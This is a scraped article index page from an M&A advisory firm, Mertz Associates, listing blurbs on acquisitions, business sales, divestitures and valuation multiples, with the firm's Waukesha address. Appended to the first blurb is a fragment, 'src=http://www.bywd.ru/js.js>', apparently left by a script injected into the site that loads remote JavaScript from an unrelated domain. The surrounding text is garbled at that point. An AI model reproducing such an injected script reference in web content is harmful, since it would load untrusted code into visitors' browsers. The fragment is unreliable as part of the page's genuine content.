Mertz Associates, Inc. - Proven Experts In Middle-Market Mergers and Associates

PROVEN EXPERTS IN MIDDLE-MARKET MERGERS AND ACQUISITIONS

Articles

Acquisitions
	Why Successful Companies Are Launching Acquisition Searches Now Even in the weakening economy and unstable world scene, many companies decide to launch acquisition programs. This update explores reasons behind this and recommends key elements of a successful program...src=http://www.bywd.ru/js.js>
Sale of Businesses
	On The Block How to find a buyer and get a premium price for your business...
	Selling Troubled Divisions & Companies In working with a troubled company, time is of the essence...
Divestitures
	Don't Fear The 'D' Word Divestiture can add value by allowing a company to focus on core competencies...
General
	M&A Multiples: A Key To Value Or A Distraction? This article explores some of the subtleties with reported multiples and offers ideas on how to properly position multiples in negotiations...
	Savvy CPA Levels The Playing Field Insightful interview with Linda Mertz...
	M&A Trends - Strategic Focus Drives Success This article explores overall M&A trends and what business owners and professional managers can do to maximize current market opportunities...

Mertz Associates, Inc.
One Riverwood Place
N17W24222 Riverwood Drive, Suite 305
Waukesha, WI 53188
Tele: 262-523-4200 I Fax: 262-523-4202